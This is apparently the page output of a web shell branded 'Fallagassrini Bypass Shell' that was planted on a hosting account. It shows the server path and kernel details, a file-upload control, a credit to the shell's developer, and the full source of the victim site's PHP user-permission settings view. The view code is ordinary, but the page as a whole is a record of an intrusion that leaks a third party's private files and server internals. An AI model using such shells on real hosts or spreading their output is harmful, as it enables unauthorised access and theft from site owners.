? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/public_html/savoyglobal.net/sec/application/views/settings/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/public_html/savoyglobal.net/sec/application/views/settings/single_user.php

<?php
if (!defined('BASEPATH'))
    exit('No direct script access allowed');
$this->load->view('documentreadyfunctions');
?>
<script>
    $(document).ready(function() {
        var checkbox_list = $("input[type=checkbox]:not(.toggle), input[type=radio]:not(.toggle, .star)");
        if (checkbox_list.size() > 0) {
            checkbox_list.each(function () {
                if ($(this).parents(".checker").size() == 0) {
                    $(this).show();
                    $(this).uniform();
                }
            });
        }
        $('#selectall').click(function(event) { 
            var checked=this.checked;
            $('.report_select').each(function() { 
                this.checked = checked;  
            });
            setPermission();
        });
    
    
        $('.view_all,.add_all,.edit_all,.delete_all,.homepage_all').click(function() { 
            
            var checked=this.checked;
            var operation = $(this).data('operation');
            $('.' + operation).each(function() { 
                this.checked = checked;  
            });
            
            setPermission();
        });
    
        $('.view-module,.add-module,.edit-module,.delete-module,.homepage-module').click(function() { 
            var checked=this.checked;
            var operation = $(this).data('operation');
            var module = $(this).data('module');
            $('.' + operation).each(function() {  this.checked = checked;});
            if(checked)
                $('.view-' + module).each(function() {  this.checked = checked; });
            setPermission();
        });
    });
    $('.view,.add,.edit,.delete,.homepage').click(function() { 
        setPermission();
    });
    
    
    
    function setPermission()
    {
        $.uniform.update();
        var permissionstring = "";
        var homepermission = "";
        $('.view').each(function(i,o){
            
            var permission = 0;
             permission += $('#view_' + i).is(':checked') ?  parseInt($('#view_' + i).val()) : 0;
             permission += $('#add_' + i).is(':checked') ?  parseInt($('#add_' + i).val()) : 0;
             permission += $('#edit_' + i).is(':checked') ?  parseInt($('#edit_' + i).val()) : 0;
             permission += $('#delete_' + i).is(':checked') ?  parseInt($('#delete_' + i).val()) : 0;
             var temp  = ($('#homepage_' + i).is(':checked') ?  "1" : "0") ;
             homepermission += temp + ",";
             
             permissionstring += permission + ',';
             
        });
        $('#home_page_list').val(homepermission);
        $('#TxtPermissionList').val(permissionstring);
    }
    
</script>
<div class="row-fluid">
    <div class="tab-pane " id="tab_2">
        <div class="portlet box blue">
            <div class="portlet-title">
                <div class="caption"><i class="icon-reorder"></i>User Details</div>
                <div class="tools">
                    <a href="#" onclick="viewdata('settings','viewinsettingssearch','search_user','view_user','<?=$_SESSION['pagenum'];?>')" class="remove"></a>
                </div>
            </div>
            <div class="portlet-body form">
                <!-- BEGIN FORM-->
                <?php
                $attributes = array('id' => 'validateform', 'class' => 'form-horizontal validate');
                 echo form_open('',$attributes);
                ?>
                <h3 class="form-section"></h3>
          
                 <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Employee Name</label>
                            <div class="controls">
                                <span class="text bold"><?=$this->mastermodel->get_single_field_value('employee','employee_name','employee_id',$viewinfo->employee_id);?></span>
                            </div>
                        </div>
                    </div>
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">Designation </label>
                            <div class="controls">
                               <span class="text bold"> <?=$this->mastermodel->get_single_joined_value('designation_name','designation','employee','designation_id','employee_designation_id','employee_id',$viewinfo->employee_id);?></span>
                            </div>
                        </div>
                    </div>
                </div>
                <div class="row-fluid">
                    <div class="span6 ">
                        <div class="control-group">
                            <label class="control-label">User Name</label>
                            <div class="controls">
                                <span class="text bold"><?=$viewinfo->user_name;?></span>
                            </div>
                        </div>
                    </div>
                    
                </div>
                <div class="portlet box blue">
            <div class="portlet-title">
               
                <div class="caption"><i class="icon-reorder"></i></div>  
            </div>
            <div class="portlet-body" id="role_permissions">
        
    
 
               
         <table class="table table-striped table-hover table-bordered" id="sample_3">
                <thead>
                    <tr>
                    <th>Module Name</th>
                    <th><input disabled style="width: 15px;" type="checkbox" class="view_all" data-operation="view" id="view_check_all">View </th>
                    <th><input disabled style="width: 15px;" type="checkbox" class="add_all"  data-operation="add" id="add_check_all">Create </th>
                     <th><input disabled style="width: 15px;" type="checkbox" class="edit_all"  data-operation="edit" id="edit_check_all"> Edit</th>
                    <th><input disabled style="width: 15px;" type="checkbox" class="delete_all"  data-operation="delete" id="delete_check_all">Delete</th>
                    <th><input disabled style="width: 15px;" type="checkbox" class="homepage_all"  data-operation="homepage" id="homepage_check_all">Home Page</th>
                    </tr>
                </thead>
                <tbody>
                    <?php
                        $viewinfo1 = $this->settingsmodel->get_user_permission_by_user_id($viewinfo->user_id);
                        $modules = $this->mastermodel->getmoduledata();
                        $modname="";
                        $i=1;
                        $j=0;
                        $viewCount=0;
                        $initialPermission="";
                        $moduleidList="";
                        $tmp = $viewinfo1[0];
                        $homepage_list = $tmp['home_page'];
                        $is_homepage = explode(',', $tmp['home_page']);
                        $allowed=explode(",",$tmp['user_modules']);
                        $edit_del=explode(",",$tmp['modules_permission']);
                        foreach ($modules as $menulst)
                        {
                            $menuid=$menulst['menu_id'];
                            $poss='';
                            for($i=1;$i<sizeof($allowed)+1;$i++)
                                if($allowed[$i-1]==$menuid)
                                    $poss=$i;
                            if($poss!='')
                            {
                                $val=0;
                                if(isset($edit_del[$poss-1]))
                                    $val=$edit_del[$poss-1];
                            }
                            else
                            {
                                $val=0;
                                $val1=0;
                            }
                            $a=decbin($val);
                            $d=sprintf('%04u',$a);
                            $ar = str_split($d);
                            
                            
                            $viewCount++;
                            $initialPermission .= "0,";
                            $moduleidList .= $menulst['menu_id'].",";
                            if($modname!=$menulst['module_name'])
                            {
                                $modname=$menulst['module_name'];
                                ?>
                                <tr>
                                    <th style="background-color:lavender;"><span><?= $menulst['module_title']; ?></span></th>
                                    <th style="background-color:lavender;"><input disabled style="width: 15px;" data-module="<?= $modname ?>"  data-operation="view-<?= $modname ?>" class="view-module" type="checkbox" id="view_<?= $modname ?>" >View</th>
                                    <th style="background-color:lavender;"><input disabled style="width: 15px;" data-module="<?= $modname ?>"  data-operation="add-<?= $modname ?>" class="add-module" type="checkbox" id="add_<?= $modname ?>" >Create</th>
                                    <th style="background-color:lavender;"><input disabled style="width: 15px;" data-module="<?= $modname ?>"  data-operation="edit-<?= $modname ?>" class="edit-module" type="checkbox" id="edit_<?= $modname ?>" >Edit</th>
                                    <th style="background-color:lavender;"><input disabled style="width: 15px;" data-module="<?= $modname ?>"  data-operation="delete-<?= $modname ?>" class="delete-module" type="checkbox" id="delete_<?= $modname ?>" >Delete</th>
                                    <th style="background-color:lavender;"><input disabled style="width: 15px;" data-module="<?= $modname ?>" data-operation="homepage-<?= $modname ?>" class="homepage-module" type="checkbox" id="homepage_<?= $modname ?>" >Home Page</th>
                                </tr>
                                <tr>
                                    <td><?=$menulst['caption']; ?></td>
                                    <td style="text-align: center;"><input disabled class="view view-<?=$modname?>" style="width: 15px;"  name="view_<?=$modname?>[]" id="view_<?php echo $j;?>" value="8" type="checkbox" <?php if($ar[0]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align: center;"><input disabled class="add add-<?=$modname?>" style="width: 15px;"  name="add_<?=$modname?>[]" id="add_<?php echo $j;?>" value="4" type="checkbox" <?php if($ar[1]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align: center;"><input disabled class="edit edit-<?=$modname?>" style="width: 15px;"  name="edit_<?=$modname?>[]" id="edit_<?php echo $j;?>" value="2" type="checkbox" <?php if($ar[2]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align: center;"><input disabled class="delete delete-<?=$modname?>" style="width: 15px;"  name="delete_<?=$modname?>[]" id="delete_<?php echo $j;?>" value="1" type="checkbox" <?php if($ar[3]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align: center;"><input disabled class="homepage homepage-<?=$modname?>" style="width: 15px;"  name="homepage_<?=$modname?>[]" id="homepage_<?php echo $j;?>" value="1" type="checkbox" <?php if(isset($is_homepage[$j]) && $is_homepage[$j] == 1) { echo "checked"; } ?>></td>
                                </tr>
                                <?php
                                 $i++;
                            }
                            else
                            {
                                ?>
                                <tr>
                                    <td><?=$menulst['caption']; ?></td>
                                    <td style="text-align: center;"><input disabled class="view view-<?=$modname?>" style="width: 15px;"  name="view_<?=$modname?>[]" id="view_<?php echo $j;?>" value="8" type="checkbox" <?php if($ar[0]=="1"){ echo 'checked="checked"'; } ?>  ></td>
                                    <td style="text-align: center;"><input disabled class="add add-<?=$modname?>" style="width: 15px;"  name="add_<?=$modname?>[]" id="add_<?php echo $j;?>" value="4" type="checkbox" <?php if($ar[1]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align: center;"><input disabled class="edit edit-<?=$modname?>" style="width: 15px;"  name="edit_<?=$modname?>[]" id="edit_<?php echo $j;?>" value="2" type="checkbox" <?php if($ar[2]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align: center;"><input disabled class="delete delete-<?=$modname?>" style="width: 15px;"  name="delete_<?=$modname?>[]" id="delete_<?php echo $j;?>" value="1" type="checkbox" <?php if($ar[3]=="1"){ echo 'checked="checked"'; } ?>></td>
                                    <td style="text-align: center;"><input disabled class="homepage homepage-<?=$modname?>" style="width: 15px;"  name="homepage_<?=$modname?>[]" id="homepage_<?php echo $j;?>" value="1" type="checkbox" <?php if(isset($is_homepage[$j]) && $is_homepage[$j] == 1) { echo "checked"; } ?>></td>
                                </tr>
                                <?php   
                            }
                            $j++;
                        }
                    ?>
                </tbody>
            </table>
               
            <table class="table table-striped table-hover table-bordered">
                <thead>
                    <tr>
                        <th>Module Name</th>
                        <th><input style="width: 15px;" type="checkbox" id="selectall"></th>
                    </tr>
                </thead>
                <tbody>
            <?php
            $user_report=$this->mastermodel->get_data('user_report',$viewinfo->user_id,'user_id');
            $data=array();
            foreach($user_report as $row)
                $data[]=$row['report_id'];
            $reports=$this->mastermodel->getdatas('report','report_module_id');
            foreach($reports as $list)
            {
               
            ?>
            <tr>
                <td><?=$list['report_label'];?></td>
                <th><input  disabled <?php if(in_array($list['report_id'], $data)){echo "checked";}?> style="width: 15px;" type="checkbox" class="report_select" value="<?=$list['report_id'];?>" name="report_select[]"></th>
            </tr>
            <?php
            }
            ?>
                </tbody>
            </table>
       
                </div>
                
                <?php
                echo form_close();
                ?>
                <!-- END FORM-->                
            </div>
        </div>
    </div>
</div>







bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net